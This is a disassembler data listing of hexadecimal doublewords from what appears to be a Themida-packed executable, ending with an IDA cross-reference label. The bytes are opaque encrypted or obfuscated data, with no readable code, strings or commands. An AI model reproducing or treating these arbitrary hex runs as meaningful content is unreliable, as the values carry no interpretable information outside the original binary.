0D6BECE13h, 0AEB1325Eh, 57B3B059h, 0CAD13256h, 0E0E3D36h dd 8B61B930h, 75B54DD5h, 0BAF0B659h, 50583256h, 30B13256h dd 9266160Bh, 228B754Dh, 821A5F8Fh, 0EABD4DD5h, 7594B659h dd 30BE3256h, 5DB13246h, 0AEB139BFh, 9EF40556h, 673D8EDCh dd 59F9BCF1h, 0EAB16EBFh, 75B4DB56h, 0BB573256h, 0E56B1B76h dd 514ECDA9h, 57A5DB36h, 98EF3256h, 3CFEE909h, 0D52B1AB7h dd 55416BA2h, 99296618h, 0E4D0ED99h, 0AEB13253h, 57B9B759h dd 2EBE3256h, 0D5B13254h, 41425336h, 75B0BE59h, 53483256h dd 0A24ECD59h, 0AEBAB159h, 58D13256h, 0ABB132D8h, 30E3D56h dd 0FACEB137h, 28353D53h, 53B13256h, 5DB1325Eh, 0FA535957h dd 9D6C578Ah, 0ADA14DD5h, 0D5C1B759h, 63BE3256h, 75B1325Ah dd 0BAB135BFh, 0BCEEAB56h, 4DDF8790h, 57B9BA59h, 24BE3256h dd 0D5B13254h, 12F05336h, 9CB575DDh, 0BAB13251h, 32B4DFEEh dd 25F836D2h, 0BE443E09h, 0ABB13250h, 7E7240B1h, 87585D0Bh dd 80B13257h, 43B575DDh, 52BD6DDDh, 0AEB134D8h, 963A5256h dd 42D0C0DDh, 0D5B13316h, 0EAB13FBFh, 9FDCAC56h, 0E8FB8D5h dd 2655F501h, 0E93AB8EFh, 0DCD75252h, 4C306395h, 0B8B0055Bh dd 0B53A5309h, 9CD1C75Ah, 0BAB1325Bh, 81BC8D1Dh, 6DE452FAh dd 0B34A7962h, 64316479h, 0EED06B7Fh, 6FBE3A09h, 75B13220h dd 0BAB0B459h, 0F4D3256h, 0AAE6B9AEh, 57B123BFh, 54079756h dd 0C2F57B70h, 4870ECF9h, 9B12410Dh, 0EF9A2D81h, 8B2CA46h dd 0AEA3DB42h, 183D3256h, 347852C6h, 49422AA0h, 6841B9E5h dd 41AE9C96h, 0DABD6DDDh, 0D6B8D7D6h, 749A538Fh, 0D7E152AFh dd 0CAE80C9Fh, 0DAB4D9D5h, 0EAB133DEh, 2F49CE56h, 0BAB137BFh dd 9B6A8A56h, 0DB58AE49h, 58B13256h, 0ABB133D7h, 923ACB56h dd 0EABADB52h, 1F703256h, 637F6C66h, 626E2B62h, 0A2EEB975h dd 57B8DB36h, 74B23256h, 0CEEC0DAFh, 8B5DEFE9h, 7AB56D7Dh dd 0BAB130D1h, 0A4D05256h, 0A1B4D9D5h, 57B133DBh, 21B2CE56h dd 0D3A23C9Fh, 0EAA1BD59h, 0FFBE3256h, 0BAB1325Ch, 5DB137BFh dd 5509856h, 0DCD1D7FDh, 0ABBCDB9Dh, 6FB33256h, 94F5D8A2h dd 7D5E870h, 0DB276B64h, 5EA14DD5h, 0AEBBB759h, 31D13256h dd 1F51DAECh, 20F05309h, 61D1EB7Dh, 8B0E3DADh, 0BF3E3D37h dd 3DB13256h, 0CFEE64AEh, 56B06EDFh, 544E8AAEh, 0C758CDA9h dd 0CAB13256h, 25F3103h, 28FAFFD4h, 7BBBFA25h, 43FA4478h dd 57B48B50h, 0A2583256h, 5FB13256h, 0C41B25CFh, 71FCF64h dd 0B75899A5h, 1B13256h, 4E77E049h, 68ABB3E8h, 0D7F83C22h dd 2A4DECBFh, 0EB353DA9h, 8CB13256h, 52E75237h, 5DB1325Eh dd 1BB06718h, 7DDB9119h, 62D06908h, 0D5B134BFh, 75738A56h dd 7AE3485Fh, 0BAB13AD3h, 5F373D56h, 0CEB13256h, 57A1F037h dd 0ABB139BFh, 0ADF0B56h, 0F2E0C36Ch, 22248612h, 563ACB03h dd 0E2BE5236h, 603A54A1h, 57BFDA37h, 0C5FA3256h, 0DFE781CFh dd 0EB03AEB2h, 0CC054A22h, 0DBEA5336h, 0B44DF6D5h, 0AEB13258h dd 1EC8020Dh, 0F82C6D73h, 97545AA7h, 8AD18E2Ah, 75B126BEh dd 0EB428956h, 0D870799Ch, 0E95D4AAAh, 0E410AFA3h, 0FE45A928h dd 0D943B339h, 0B5EE560Fh, 9DD0EBDDh, 0BAB13256h, 0FF5BB30Ch dd 0A1B72BEBh, 57B121D0h, 0ABBFDB56h, 864E3256h, 0D0D5D00Dh dd 7D5BE2DEh, 0D2359187h dd 100BB9AFh, 47B72B2Dh, 57B13250h, 66B3DF99h, 6ED1D19Dh dd 0ED2F3854h, 0BC8253AEh, 0BA8EB1AAh, 59F2B659h, 2CBE3256h dd 57B13257h, 42B6B9AAh, 0D5B1325Ch, 0BA357989h, 9F0829B1h dd 0CF4E3741h, 5DA1DB5Ah, 0DDCF3256h, 5CEC5D02h, 3A9BFB73h dd 3FDAFB92h, 9F4E36C7h, 74333D5Eh, 46B13256h, 5A3E3D06h dd 0A1B13256h, 57B133D2h, 0BE59CE56h, 0DAB13252h, 0EAB133DFh dd 0B5BACB56h, 0BA8BB759h, 0D3BE3256h, 0AEB13257h, 37B6B9AAh dd 0CDEF6236h, 4A10F2D7h, 0EABEDA37h, 22B53256h, 0ABCC0BC1h dd 0CD0DFCDDh, 117DB621h, 98305412h, 0CAEA0B43h, 0D5B164BFh dd 0EB3D3D56h, 89B13256h, 53A5F5D5h, 5DB1325Dh, 7AD9B8ABh dd 0C93FD78Ah, 0A4767BADh, 0D5B139D1h, 0EAB7DB56h, 11593256h dd 51DB18DEh, 0A24E0ABFh, 0A75852A9h, 0EBB13256h, 5F708A70h dd 5E993A9Dh, 278CE5D7h, 7AD002F6h, 0BAB138D9h, 3E05256h dd 0B9BAD9D7h, 0DED024D9h, 5444CE13h, 3C443E23h, 0EAB1325Bh dd 0BC460689h, 36803B62h, 32F49E5h, 0A6C4CD3Ah, 604ECAAFh dd 0A4E86236h, 0D5B132D6h, 0A7595356h, 7AB13255h, 0BAB133D4h dd 9DBACB56h, 0AE98B659h, 50583256h, 20B13256h, 2A4C6FD7h dd 0E4581131h, 9CB13255h, 0BAB13245h, 5BE83097h, 815FD971h dd 0E52F3568h, 0E5F1B6EDh, 5E1795E2h, 0D348CE13h, 9F333D51h dd 53B13254h, 5DB1325Bh, 85FF331Ah, 3E534CBEh, 47ADCDFAh dd 29F4CD5Dh, 0EAA0B059h, 79583256h, 18B13256h, 25A32567h dd 5DE2E564h, 374A5FBFh, 5EA692EFh, 56D0CE62h, 0E5B13629h dd 75B11AD2h, 0C532C756h, 0D9BE325Ah, 0AEB1324Bh, 57B0B359h dd 42483256h, 0D5B13208h, 0EC343D36h, 7AB13256h, 0BAB132D6h dd 0AD0E3D56h, 514E8A37h, 0D7BECDA9h, 0ABB1325Ch, 54818236h dd 0E5C11289h, 70085353h, 53B13256h, 5DB1325Dh, 0BA65D22Ah dd 90A75DB1h, 58E5D46Bh, 5ED752FDh, 0EAA0DB95h, 0AF363256h dd 0B363FA5Dh, 37982281h, 0D918863Eh, 36668201h, 544FECBFh dd 0AA32CEA9h, 6EBE3746h, 75B132D2h, 0AACEB1AFh, 9A343D50h dd 0CEB13256h, 1726D8E8h, 170E5429h, 0DAF053EEh, 0EAB135D4h dd 743A3D56h, 46B13256h, 52B575DDh, 0AEB133D4h, 83ACE56h dd 0A359525Ah, 19B13256h, 0B3E3B42Ah, 9CEC6E20h, 0BAB1325Ch dd 0FB432119h, 6026C4A2h, 0D6EF0286h, 7A17A081h, 81585359h dd 8AB13257h, 75B122BFh, 911FB56h, 52AEDD99h, 98B9AB83h dd 3F6353C3h, 0ABBCDB9Ah, 832D3256h, 56EC941Bh, 19039B5Fh dd 0DBFCF221h, 52B575DDh, 0AEB138D5h, 0E8BE5256h, 6A305491h dd 0B5D08EC5h, 0E01F8930h, 75B13EBFh, 0BCD44556h, 0D2FABAEDh dd 6E8D6D28h, 83A53CEh, 4244CE5Ah, 0D5B1328Bh, 0BD40B936h dd 75B13DBFh, 0C6CA8B56h, 0E964CF1h, 0FD04CFD5h, 0B45A6FFh dd 0EC3A530Fh, 54D75252h, 0E5779A94h, 75B130DCh, 0DB998456h dd 0B4BD6DDDh, 0AEB13245h, 402D456Eh, 533AC81h, 89059F9Fh dd 6BC1F0CDh, 151C7582h, 9472E8EEh, 5DA1DA79h, 0CF423256h dd 0C86FF716h, 0C176CFE3h, 6DB6FA90h, 3C3A5FFEh, 2A9A530Dh dd 0B13A3D52h, 0B4B13256h, 0AEB13250h, 0EDE35343h, 40324872h dd 6ABE5253h, 0EAB9DB8Ch, 0BC7A3256h, 5E385D96h, 0DED08443h dd 0A1B22229h, 57B176D3h, 2B065256h, 0D5B122BEh, 77280256h dd 0B2B65F2Bh, 0C5A1CF82h, 0A1841495h, 382F895Eh, 36EE6A65h dd 0ABB126BFh, 0BF44B056h, 46D0157Ah, 8BFBDAE1h, 151270F4h dd 3F2790DCh, 2CBE73D4h, 57B13253h, 7A0E3D36h, 0DA681937h dd 0EAB120D5h, 793A3D56h, 53B13256h, 5DB13251h, 942805DCh dd 0DE8DA1BDh, 0A4B0330Ah, 0D5B127DDh, 0EAA1DB56h, 0FDC43256h dd 90872523h, 5F4992DEh, 5152D9FCh, 0A809D49Bh, 0CB4ECDA9h dd 5B6B8D30h, 0EAB120BEh, 96458B56h, 0A3384800h, 0D6DF5F8Ch dd 0BAE7A73Bh, 0BEFA299Fh, 0ABB13251h, 0EB9132B8h, 0B35811A4h dd 75B48B37h, 53D13256h, 5DB1325Ah, 4B17D712h, 0D6466EA6h dd 94CC9547h, 0DA1AC137h, 0EAB138D8h, 75B4DB56h, 0AF9D3256h dd 0B402C518h, 514ECEF1h, 31D153AFh, 8AD6D8D7h, 0B472B930h dd 0E273CE9Fh, 0CABE5256h, 0BE353D94h, 3BB13256h, 0CF41B6EDh dd 0BB3ACB03h, 0ABB0B459h, 56443256h, 8A44CE92h, 75B2B359h dd 31D73256h, 52D1538Eh, 0AEB126DDh, 0D6BE5256h, 0ABB13256h dd 0D5B135BFh, 7D2CC956h, 0BBE3DF89h, 0B2F4B937h, 5DB13ABFh dd 35242256h, 6D7C39F3h, 0A7F40911h, 0D59EB059h, 0D1483256h dd 0F2BE2213h, 0BAB13273h, 5DB4DBAAh, 860E3256h, 90491D8Eh dd 0ABB1CE13h, 3C493256h, 0EAB13270h, 75B13ABFh, 7B2E3856h dd 5E2623C7h, 52F4F5E6h, 57B13257h, 0A0585336h, 3CB13256h dd 0EAB13250h, 0C2BBA972h, 53D0FCB0h, 5DB13245h, 8ED3CED1h dd 8F6E2E96h, 39A9ED0Ah, 342FE6C4h, 61A98A81h, 15D1CE13h dd 526A8D59h, 5DB13247h, 2498426Ch, 5CAABB4Ah, 72EC37FDh dd 8A5676CFh, 5BD06DB9h, 9CD15300h, 0BAB1325Ch, 0AF3D0826h dd 65EB06Fh, 5158A66Ch, 0AEB13256h, 0E3BB0A2Dh, 8A785331h dd 75B0B859h, 46443256h, 5DBDF037h, 0AEACB459h, 0D7BE3256h dd 0ABB13241h, 0D5B120BFh, 0D999B256h, 838B60B7h, 3566ECDBh dd 0FF8C591Ch, 5BF0BE69h, 57BDDB03h, 33A63256h, 0C32CFADAh dd 0B0968D33h, 993AA62Ah, 0BAB122BFh, 23324C56h, 494845BDh dd 0A1C555ECh, 1F80B341h, 2975B196h, 0EAB126BFh, 0B8B3DF56h dd 69AED19Dh, 0EF0F41DEh, 6691A84Dh, 0CDE48307h, 0A258520Ch dd 0C6B13256h, 6CBB1AA7h, 5FE50216h, 0BAB132BEh, 0B7306856h dd 0A8A8F195h, 926C8836h, 20BE5D86h, 0D5B13253h, 5C67B330h dd 0FED15340h, 0AB303DA5h, 0B4B13256h, 0AEB1325Ah, 864E65CAh dd 9D54A6BEh, 6B28F1BEh, 0E5780137h, 75B12BD0h, 0BAA5DB56h dd 0B8653256h, 864F2220h, 6040BA47h, 973D3E10h, 1866D29h dd 31829BBBh, 75BCDB36h, 207E3256h, 0E5B3B4FAh, 42FB74CBh dd 3179866Fh, 0CA827AEEh, 294D6FDFh, 91FC88DDh, 0F64D344Fh dd 3EBE3269h, 5DB130A6h, 0AEA9BD59h, 44583256h, 9CB13256h dd 95C7A7DBh, 28109816h, 0B4EDE878h, 3B07DD66h, 6232A9F4h dd 9B343DA9h, 58B13256h, 0ABB133D2h, 0D358C756h, 74B13256h dd 4C53DCA2h, 0AE76B1C4h, 5DB6DB36h, 3DEA3256h, 32D343Ah dd 9B42B330h, 0B4DA1D72h, 154E90BFh, 74323DA9h, 4FB13256h dd 5DB54DD5h, 0AEF4B659h, 0D7BE3256h, 0ABB1325Ah, 0D5B7BC59h dd 69BE3256h, 75B13256h, 0BABD4DD5h, 5D98B659h, 23BE3256h dd 57B1324Bh, 0ABA6B559h, 0C7583256h, 0ACB13256h, 13BAFAACh dd 0D68D99C2h, 0C0124A0Fh, 8091A2D9h, 57FADB5Eh, 54443256h dd 0DA4DCE13h, 0EAB135D0h, 0AB3A5256h, 0DB70B930h, 3DA5F5D5h dd 0AEB13EBFh, 9132F456h, 0BFA75821h, 2383E35Fh, 3D0C743h dd 8A4ECD49h, 0AC353DA3h, 52B13256h, 0AEB122D9h, 57BADB56h dd 462B3256h, 0AB564F49h, 6ED2CA31h, 65CEB1FEh, 0C353D53h dd 0B4B13256h, 0AEB13246h, 0C9150788h, 0CD9D0967h, 0D98C1761h dd 0BF10557Bh, 73A14DD5h, 0BA74B759h, 51583256h, 20B13256h dd 3D57E94Eh, 0EE4A78A9h, 9437A1A3h, 0EAB13CBFh, 0D8C83E56h dd 0C865E4F2h, 69A91394h, 0CE07D218h, 0A776B330h, 0EC3A53C8h dd 0D5B6DB52h, 7BAF3256h, 0EFA09806h, 79315208h, 3C42B9C6h dd 0CEBD6DDDh, 57B13BBEh, 0AF904456h, 0C1B593C2h, 6CBE4781h dd 75B13256h, 0AA3B3D0Eh dd 0B4B13256h, 0AEB1325Dh, 93A3385h, 3D2FF1A1h, 0B43EF120h dd 0EABFBA59h, 7C583256h, 63B13256h, 6EC1F6A4h, 0AE219D1Fh dd 57B1E5BFh, 0AD343D56h, 0B5B13256h, 253A5336h, 71F6B937h dd 31D0CB36h, 3DD13E09h, 2FBED8DCh, 57B13256h, 6A306437h dd 0C1D20B28h, 6C58530Fh, 9CB13256h, 0BAB13251h, 4684BDBEh dd 252E3081h, 44583611h, 58B13256h, 1246C0FCh, 0F4418592h dd 0ABA014C1h, 218ED65h, 23A12BCh, 0AEBFDB5Ah, 0EEBD3256h dd 4DACE913h, 924B2DE2h, 121C7735h, 15B56D7Dh, 0B502F3DDh dd 585AB137h, 2747B236h, 6867B330h, 0D432532Ah, 50BE3146h dd 0EAB1327Fh, 79313DAFh, 0B5B13256h, 5DB134DFh, 0AE343D56h dd 16B13256h, 0ABBEBB59h, 0DF583256h, 0F1B13256h, 87EA3E1h dd 25F01681h, 526819A8h, 0AEB129D0h, 42383D56h, 42B13256h dd 0D5B13246h, 0B63103E3h, 0DE11E371h, 0B3F7E86Eh, 7D1A7A95h dd 0AFB06EDFh, 57B134BFh, 21EC8E56h, 6D8B899Eh, 154ECDA9h dd 74363D36h, 46B13256h, 5DB48B37h, 0A5583256h, 0C3B13256h dd 9269005Dh, 0C6CB329Eh, 41422319h, 67353D36h, 52B13256h dd 5DB1325Ah, 0EA0EFED2h, 267EE76Bh, 0D7CC60B4h, 8109540Ch dd 0CA5853D9h, 9C4ECDABh, 0BAB13242h, 0D265BBA9h, 0CAB7B637h dd 0CD0ADA88h, 0AA343616h, 0D0FFE113h, 0AF3ACA37h, 7A78CAAAh dd 0BAB123D4h, 54585256h, 52B13256h, 0F5CAA54Fh, 0B9DA238Bh dd 0DA7253A3h, 0EAB13AD2h, 77343D56h, 0DAB13256h, 57586237h dd 67B13256h, 3C97F3ACh, 583367BFh, 3DD163D8h, 0EAB1325Fh dd 1622B218h, 4AE685E7h, 5DB6DA28h, 0F71F3256h, 6EF4D54Ch dd 0CDE96865h, 1A85F8D7h, 61D16137h, 1448B9A4h, 0BAB1DAA3h dd 0DCEB3256h, 0B77696BCh, 0DCBE5250h, 0ABB13256h, 0BB0F8830h dd 67BE5237h, 75B13253h, 75CB92EDh, 5DB8DB40h, 0F8483256h dd 19BE0096h, 0CA7BA7DFh, 0AE42A8DBh, 344344Fh, 75B13251h dd 18AD876Ah, 0E5B1A5FEh, 0AEB13232h, 57B13EBFh, 1822E256h dd 4D799366h, 2A8A561h, 0F4D7527Ah, 52615F88h, 5DB13242h dd 43B3FF35h, 149D7401h, 0EF61501Ah, 85C50B7Ah, 3556F621h dd 14E96A05h, 0BAB475BEh, 563ACE56h, 0A17009AAh, 57B13AD0h dd 0A9373D56h, 0B5B13256h, 0E9333D37h, 15B13256h, 295853A3h dd 3DB13256h, 0AC343DA3h, 0DDB13256h, 0E0B25397h, 148AC752h dd 0EA0FB059h, 76493256h, 0B158221Dh, 8EB13256h, 3EAA9237h dd 2715A50Ah, 6A8A8805h, 0D58DB059h, 0FE583256h, 0BFB13256h dd 886B0EAFh, 0D934EBA7h, 0D6FBD88Ch, 0A7FF766Ch, 42F47FD9h dd 0D5B13272h, 0EAA9BF59h, 66583256h, 51B13256h, 58577EB1h dd 15FA46FCh, 0ABA21389h, 17E88A18h, 4F589CB3h, 1FB13256h dd 75B1A6BFh, 5BE5256h, 5F3C3D80h, 0FEB13256h, 0DDBE530Fh dd 0ABB13250h, 160E3D36h, 703C53AFh, 73AB4941h, 4669B336h dd 0D6A31953h, 2ABE538Fh, 57B13245h, 0ABBCBB59h, 0DD583256h dd 9CB13256h, 4A1BECC0h, 45568F12h, 1758C785h, 0CEB13256h dd 57B1B159h, 26BE3256h, 0D5B13255h, 8B42B930h, 0B8CA8DBh dd 0B5D1344Ch, 8D30C2E9h, 0CC3EA49Fh, 563C3D37h, 5EB13256h dd 0C558E1A9h, 65B13256h, 9AF384E8h, 0A033A0BEh, 3CC8EA24h dd 475BF918h, 57B13253h, 1C34F805h, 0DAD1699Dh, 0EAB131D9h dd 0A151B256h, 0FF7BB330h, 0D6D153C9h, 0F7D0CB9Ch, 57B139BFh dd 0BDC3F256h, 739C57BAh, 1678FD6Bh, 75BADB0Eh, 73993256h dd 41D2E281h, 7559CC86h, 58D1F1C0h, 0AD58E0E1h, 0A6B13256h dd 0D7C6ED77h, 9CE45380h, 0BAB13247h, 45EA23BBh, 2D6B3D48h dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h, 5EEF6036h dd 3C305237h, 0BF0BC9B3h, 75B13BBFh, 79D38356h, 0D4B9000Dh dd 5BD084C9h, 44595236h, 0F0B13256h, 3D705629h, 0BD77D1F2h dd 3FA235AFh, 0EAD694E1h, 3CD1DC76h, 6D30540Ch, 0DAD0B4F0h dd 0B2CAC1ECh, 903ACA50h, 0EAB6DB5Eh, 96663256h, 926D9B9Dh dd 5DB6DB99h, 0E8C63256h, 0F039851Ah, 0A4B6BB6Ch, 0D5B133D0h dd 61BECE56h, 75B13240h, 0BAA1BD59h, 56583256h, 46B13256h dd 0F7691185h, 177917FEh, 903A7A9Ch, 0AD38CA5Ah, 75B7DB52h dd 0BFBB3256h, 28ECBBD0h, 0CEA177DDh, 5159CADDh, 0A6B13256h dd 93C05938h, 0EABBDB40h, 0E8F93256h, 8ED799C0h, 7D3FFD9Ah dd 0E938530Dh, 5B3B3D5Ah, 0A4B13256h, 0D5B134D2h, 0EA383D56h dd 0FEB13256h, 0B5582613h, 71B13256h, 0D385EF81h, 81E60F28h dd 2D9A9E63h, 92381F91h, 5DBE5246h, 763A3D99h, 3AB13256h dd 3CD03D99h, 166BB836h, 75A67B9Ch, 694DFB37h, 52BE3246h dd 0EAB13257h, 154852AFh, 5A305436h, 4F597B2Ah, 0DBB13256h dd 5CB4735Ch, 6334273Bh, 1894754Ah, 3CF3B572h, 14D068FCh dd 0AB50B790h, 52F63445h, 0AEB133D1h, 4558CE56h, 82B13256h dd 0E16AA45Bh, 57BB4BF5h, 2F8D4BCBh, 14CEF755h, 2EAB5A8Ah dd 2ED19A41h, 8630F490h, 9D4F7541h, 3C04CD37h, 3B72148h dd 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h dd 64E6DE3Eh, 0A982B7DBh, 15443440h, 79585286h, 38B13256h dd 46029E2Bh, 1D23B9F3h, 0BE105BF7h, 0ABB1325Fh, 0F98A03C8h dd 0D7940530h, 7AE3535Ah, 0BAB133D1h, 0D7BECE56h, 0AEB1325Bh dd 57B13ABFh, 628FAB56h, 0FB7F1FCBh, 3E3BBFD8h, 9CB72B2Bh dd 0BAB13245h, 2C0DD7CCh, 1B6C6CA7h, 0D4F80E5h, 0AB4412CBh dd 84265C77h, 0EAB134BFh, 0BD681856h, 459AC476h, 593A3D86h dd 0CEB13256h, 0DD05336h, 0AF3B3D36h, 0B3B13256h, 8B5B1BEEh dd 0A133BFAEh, 53B72B2Bh, 5DB1325Ah, 0F57EED3Fh, 0C2F1A378h dd 7EE4081Dh, 0D9F18559h, 0EAB4DB36h, 0A783256h, 318EB7D4h dd 853A53A6h, 0A14460A3h, 0A2EBC767h, 0AE58F155h, 90B13256h dd 0BADEE3EAh, 6C14B0DFh, 3CBE3445h, 5DB13251h, 0AEB0B659h dd 36443256h, 0CB44F1AAh, 1A305436h, 65BE7E06h, 0B13256h dd 0F516161h, 168Eh, 11E900h, 0D2340000h, 0A36D01DDh, 312039C0h dd 95C1BB05h, 521834D2h, 0E8F8h, 815A0000h, 19CC64EAh dd 0C0816006h, 3D35516Bh, 4149BF66h, 0DE961h, 4C00000h dd 8761D005h, 0AF260D39h, 0F1BDAF7h, 1980h, 14E900h, 0A270000h dd 0D93DE09Bh, 69269F39h, 657C8148h, 0A8689EBDh, 605263BDh dd 3890Fh, 0E9800000h, 6860F9Fh, 0F000000h, 84h, 828B6100h dd 61319A5h, 0C850Fh, 8D0F0000h, 6, 8B0Fh, 6DB90000h, 0F941C64Eh dd 0F60E1F7h, 28Fh, 0F616000h, 198Fh, 14E900h, 0E94E0000h dd 525EACB2h, 27121401h, 8E289577h, 0F686A82Bh, 5A61D001h dd 178D0Fh, 12E90000h, 0ED000000h, 0E9CFDD88h, 2903DE61h dd 489A33ABh, 0B964B798h, 303905ADh, 25F90000h, 7FFFFFFFh dd 5E9h, 4B3D8A00h, 8289BE22h, 61319A5h, 830F5AF5h, 1 dd 880F59F8h, 1, 8D0FC3F8h, 1, 8A0F60FCh, 3, 66CEBF0Fh dd 613BD6BEh, 6052FC51h, 7E9h, 7E75A900h, 987818E5h, 14E8h dd 64001200h, 505DB220h, 0ED7281E6h, 1A233587h, 0EF6586E9h dd 615FF855h, 0E8h, 0EA815A00h, 619CD9Bh, 0C88BFCF9h, 5800Fh dd 8A600000h, 0E861F9D3h, 0FFFFFE8Ah, 0DE9h, 23ECD400h dd 6A898D83h dd 0AE9BC8h, 0D23368E0h, 60F1F7FCh, 0FBC88166h, 557BA63h dd 8B61007Fh, 1880FC2h, 0F8000000h, 0AE95Ah, 13250000h dd 55F67260h, 1B98DCB9h, 0F506059h, 8Dh, 12E85B00h, 9B000000h dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 58FEB18Fh dd 0EE9C361h, 51000000h, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h dd 60C08B71h, 7E9h, 95A8B000h, 534581E3h, 0C08B61F9h, 0E8E0Fh dd 9E90000h, 0DA000000h, 0FB360DAh, 0B173019h, 9200858Dh dd 0FFF90619h, 8B66F9D0h, 0D48060C1h, 0DE95Bh, 9ED90000h dd 0E2D7FB2Ch, 0A3E26888h, 6144890Fh, 0CC40858Dh, 6E90619h dd 75000000h, 32577986h, 1D85894Ch, 0F061309h, 186h, 0CE9FC00h dd 60000000h, 0C9B44806h, 3058EC7Bh, 8DCB375Ch, 19CD6A85h dd 0F60FC06h, 28Bh, 66F18B00h, 7AA3C381h, 0C9858961h, 0F061301h dd 882h, 28E0F00h, 60000000h, 0B8F561h, 0F5000000h, 840FC00Bh dd 158h, 0E185C6F9h, 56061311h, 0EE9h, 8CAFF500h, 29A2D51h dd 0E8CCBF04h, 681B6D09h, 0A9C530DFh, 0E9B5FFF5h, 6006131Eh dd 5BFA8B53h, 33858D61h, 0E906167Ch, 0Fh, 66DB989Ch, 7CC6A624h dd 0B57D8C0h, 0FF758D97h, 816060D0h, 3E212CEFh, 14E83Fh dd 872A0000h, 926D7638h, 25D80ED5h, 0BAEF8438h, 22B716DFh dd 615BFFF2h, 0F961C38Bh, 0DB816050h, 42CA5D98h, 2850Fh dd 61600000h, 398D8D61h, 0F506131Ah, 6AFCF851h, 66536004h dd 515FD38Bh, 615E5853h, 100068h, 0FE900h, 78350000h, 451458Fh dd 0F3E692C4h, 9853C12h, 0B9B5FF80h, 0F06130Bh, 58Fh, 0B7F96000h dd 0D0FF611Dh, 0E840Fh, 9E90000h, 3F000000h, 767C9CAEh dd 0B63A1259h, 0BB9BD8Bh, 0F600613h, 18Bh, 0F53FC00h, 615FDEB7h dd 603C7F03h, 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh dd 11E97558h, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h, 1951E01Fh dd 0E842992h, 0D18B665Eh, 0F8C78161h, 60000000h, 0EE8h dd 7F1A4100h, 3F0F2EDh, 739BDB9Bh, 8B44D163h, 0EE805ECFh dd 47C761FDh, 2024h, 800FFC60h, 0Ch, 6850Fh, 850F0000h dd 0 dd 2A2D9D8Dh, 0F600613h, 0E82h, 9E900h, 0BE020000h, 0DE65BF33h dd 0E902E83Fh, 11h, 4764756Fh, 1966663Dh, 37430549h, 10139558h dd 38B6135h, 0CE9h, 0DBCEF000h, 8139130Ch, 523E80C3h, 0FC00B21h dd 3B84h, 14E900h, 103C0000h, 4FFF5504h, 0BCF0854Dh, 0FEB9C752h dd 0F847F917h, 8BB843h, 81EF8A60h, 0F69F2CD3h, 4389613Ah dd 0EE904h, 67FE0000h, 78CD3178h, 6C8C5C77h, 4CE23C9h dd 234CF6B9h, 798D8D00h, 6A0619D1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8E9FC351h dd 743D1D70h, 0AA398A34h, 1FBD9D8Bh, 8D890613h, 6131BBDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4EC35141h dd 0FE8CDh, 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h dd 0AD9D2911h, 5B061308h, 18DD85C7h, 5CFC0613h, 8B600000h dd 1313A595h, 31853106h, 61061317h, 305585C7h, 613h, 0B58B0000h dd 6131D01h, 31EDB5FFh, 0B5010613h, 6132C61h, 1D8995FFh dd 852B0613h, 6133489h, 95FF006Ah, 6130DA9h, 0CEBC08Bh dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 0D2758D8Dh, 6A0619h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0EF7550C3h, 0F9F6CE65h, 12E8EA90h, 1C000000h, 965903Ah dd 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 158531F7h, 58061301h dd 10718D01h, 8D890613h, 6131BBDh, 2EB99D89h, 85C70613h dd 61318DDh, 61B0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 7EC35141h, 18E8754Bh, 1E1F7825h, 359D8B04h dd 0C7061305h, 13305585h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E6FDBA45h dd 0E96E2B94h, 0Ch, 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh dd 0ED19D8Bh, 0B5FF0613h, 6131A95h, 0FFD9BF0Fh, 131D8995h dd 0C3B70F06h, 95FF006Ah, 6130DA9h, 49EBC08Bh, 22A8A756h dd 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C7D40112h dd 94E8F9Bh, 0E32D105Bh, 636C9E99h, 9F389618h, 405BD92Fh dd 193340FFh, 65D84E5Ch, 0EF7E9FC1h, 8630A294h, 93E091CEh dd 0AF091AC3h, 49636BD0h, 8E87Fh, 32B90000h, 85FB8A2Eh dd 0CA8B895Eh, 0CE85Bh, 0C8140000h, 809F8395h, 218B42FAh dd 0BD898B07h, 6132EC9h, 2C38159h, 8B00006Bh, 13204D8Dh dd 6806h, 95290000h, 61305BDh, 0BABE665Fh, 3B048BA9h, 76E0EDBEh dd 2DE88172h, 0B5592505h, 46F08189h, 92EB2E6h, 131269B5h dd 0DAF08106h, 66717C91h, 489D08Bh, 3DBD893Bh, 0B061311h dd 1319D18Dh, 3EF8306h, 0BA664FF5h, 0FF81CFA3h, 0FFFF9588h dd 0FFB7850Fh, 9D09FFFFh, 6130A89h, 8E8h, 24CAF000h, 0E89898Ah dd 0E85FF844h, 6, 0DFFBF431h, 9D297461h, 61325CDh, 35C7815Eh dd 8B000060h, 1317898Dh, 0B9DB2B06h, 0ECD2748h, 663B34FFh dd 0A9CFC181h, 81C28A5Ah, 2EDBEDC2h, 8D89564Ah, 6130B85h dd 92F28159h, 293D6F72h, 132501BDh, 55F28106h, 0B865EDFAh dd 0E0A4Bh, 0E91F1489h, 8, 5D8C5BE5h, 0DEF3D29Ah, 0C4DBD09h dd 0EB830613h, 8112B104h, 0FFA088FBh, 1D850FFFh, 81000000h dd 26B98AEEh, 30E91Eh, 0ED0C0000h, 0CE3219B1h, 8CFBF385h dd 8B5298FDh, 6B7DBB91h, 4890Fh, 0B9660000h, 7DE968DBh dd 67FFFFFFh, 8117F674h, 60C0B431h, 0BA797319h, 32E92BB9h dd 68000000h db 18h, 74h, 27h byte_5E96EF db 0 ; DATA XREF: Themida_:00590774o 